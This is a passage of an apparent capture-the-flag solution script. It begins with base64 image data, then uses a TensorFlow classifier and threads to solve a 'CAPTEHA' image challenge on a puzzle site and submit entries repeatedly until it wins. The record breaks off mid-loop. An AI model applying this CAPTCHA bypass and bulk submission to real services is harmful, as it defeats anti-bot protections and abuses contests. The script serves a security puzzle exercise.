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kJAmhjWzYRero0rzBx0nJI5xTkd2u4wGI5WGczrxul3aT4fQYs8sgC9NGtbx/BuDr1M6Dq+5lT+spfL9yoLYwcmjMkO7l3lq5dsCS8/+dAtmZOfZ8qBmfC4vidbqiIVN5UnAn8X4Exq4G0okZEGzDpuuhQ3Ne2jcSJ08oH1rupq6qoYvVxY3dPQyeRfnMpfdjO+4w3/ljM3t71Me5SxBBQiqKf/zmFb7t5pP36gz6yI7B9MZoLViczATWaunoyPDbXa8lwCMtNBcHQpAcpdzc1KY5FViDu0qwA7C083U2an9IFerp/KnXy8l8t1VSC8bdN4ggljDCjAF7+8xfZ6wr535Xl21V7T0p+dkn1XdWS2CpYtVUK/ikB1sug2M1fvSosA1YkTxDmknoNuLDma+DiVx4Sr741+FTdJTWXCXtOOvabddVO5frTj5GIRtqjI2FpmLb/KKM6vVeyaE92nrln6raLijMXKNm6bt/0e6FteBphONJxLJcdcIWlSL/Y5VaDnBmSFD7Dka8433sRqvh9pwzU9ZTrXrWt6+sXVPfnMVK7Xld4W3rZp81jGzF1lxQBay8V/tXG2X/Gy0tupVeDY0ts+ZaDbL9EyxF1sc0XaXZ3c76o8tsAgEgmLZaBfGb1MWN1VVveiu66C3dav7JKl0r6894z77ouOnr7nx3cU9qa3fbPt037YsuIABfjcxS+QEFg1X9rzfOCkYHbcYsERi5XNzBfk84VpSC1VM5jJYToTXJqyj62zSFRMZ7K1l3Odilzqzb6xdc7fePnPFu4/aNaFoqzsCxdd3/bpPiJZkYAOyycv2pjvWGLv23aEp2I8be2UHL26y6GZsk8wVi0UdHf0TTFsTVeq1V3ZqsrtBjcC31f4gVO2ADuefkB38Yf3FPb7b185FrmrrHhAdxWzU+Vzn7xn9VzJWow1QG9nH3fLdu/FKI/Yy22b6rADo8gUn2X4oow0/JvHPOF5ODJxgO5JrPxd5GU3yylHZXzpg/vZxf/8AAL8wQq2xMfkUSL/C2r0iHsSWD57AAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEwLTAyVDA4OjE1OjAxLTA3OjAwpogU0wAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMC0wMlQwODoxNTowMS0wNzowMNfVrG8AAAAadEVYdGV4aWY6Qml0c1BlclNhbXBsZQA4LCA4LCA4Eu0+JwAAACF0RVh0ZXhpZjpEYXRlVGltZQAyMDE5OjEwOjAxIDE2OjM4OjA2pSq/pAAAABR0RVh0ZXhpZjpJbWFnZUxlbmd0aAA2MDB41j+AAAAAE3RFWHRleGlmOkltYWdlV2lkdGgANjAwq6ovDQAAABp0RVh0ZXhpZjpTb2Z0d2FyZQBHSU1QIDIuMTAuMTLDM7QtAAAAG3RFWHRpY2M6Y29weXJpZ2h0AFB1YmxpYyBEb21haW62kTFbAAAAInRFWHRpY2M6ZGVzY3JpcHRpb24AR0lNUCBidWlsdC1pbiBzUkdCTGdBEwAAABV0RVh0aWNjOm1hbnVmYWN0dXJlcgBHSU1QTJ6QygAAAA50RVh0aWNjOm1vZGVsAHNSR0JbYElDAAAAAElFTkSuQmCC', 'uuid': 'b177d2d0-e584-11e9-97c1-309c23aaf0ac'} # warmup predict_image(queue.Queue(), dummy_img, [], sess, graph, labels, input_operation, output_operation) # Creating a session to handle cookies s = requests.Session() url = "https://fridosleigh.com/" json_resp = json.loads(s.get("{}api/capteha/request".format(url)).text) b64_images = json_resp['images'] # A list of dictionaries eaching containing the keys 'base64' and 'uuid' challenge_image_type = json_resp['select_type'].split(',') # The Image types the CAPTEHA Challenge is looking for. challenge_image_types = [challenge_image_type[0].strip(), challenge_image_type[1].strip(), challenge_image_type[2].replace(' and ','').strip()] # cleaning and formatting # Can use queues and threading to spead up the processing q = queue.Queue() #Going to interate over each of our images. for img in b64_images: # We don't want to process too many images at once. 10 threads max while len(threading.enumerate()) > 10: time.sleep(0.0001) threading.Thread(target=predict_image, args=(q, img, challenge_image_types, sess, graph, labels, input_operation, output_operation)).start() print('Waiting For Threads to Finish...') while threading.active_count() > 1: #print(threading.active_count()) time.sleep(0.0001) # This should be JUST a csv list image uuids ML predicted to match the challenge_image_type . select_images = [q.get() for x in range(q.qsize())] final_answer = ','.join( [ img['uuid'] for img in select_images ] ) json_resp = json.loads(s.post("{}api/capteha/submit".format(url), data={'answer':final_answer}).text) if not json_resp['request']: # If it fails just run again. ML might get one wrong occasionally print('FAILED MACHINE LEARNING GUESS') print('--------------------\nOur ML Guess:\n--------------------\n{}'.format(final_answer)) print('--------------------\nServer Response:\n--------------------\n{}'.format(json_resp['data'])) sys.exit(1) print('CAPTEHA Solved!') # If we get to here, we are successful and can submit a bunch of entries till we win userinfo = { 'name':'Krampus Hollyfeld', 'email':yourREALemailAddress, 'age':180, 'about':"Cause they're so flippin yummy!", 'favorites':'thickmints' } # If we win the once-per minute drawing, it will tell us we were emailed. # Should be no more than 200 times before we win. If more, somethings wrong. entry_response = '' entry_count = 1 while 